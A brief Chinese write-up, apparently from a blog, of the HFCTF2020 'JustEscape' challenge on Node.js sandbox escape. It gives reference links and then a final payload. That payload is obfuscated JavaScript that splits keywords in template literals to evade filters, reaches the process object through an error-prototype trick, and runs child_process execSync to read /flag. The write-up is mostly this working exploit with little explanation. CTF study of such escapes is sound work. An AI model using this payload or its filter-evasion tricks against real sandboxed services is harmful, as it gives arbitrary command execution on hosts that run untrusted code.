web | [HFCTF2020]JustEscape

这一题是node的命令执行和沙箱逃逸

我参考了这篇文章https://www.jianshu.com/p/67b5b05137da

js Error().stack: https://www.bookstack.cn/read/node-in-debugging/3.3ErrorStack.md

node.js的常见漏洞:https://xz.aliyun.com/t/7184

最终payload:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

详细一点的以后在补,有点累了。

原文地址:https://www.cnblogs.com/Mz1-rc/p/14175731.html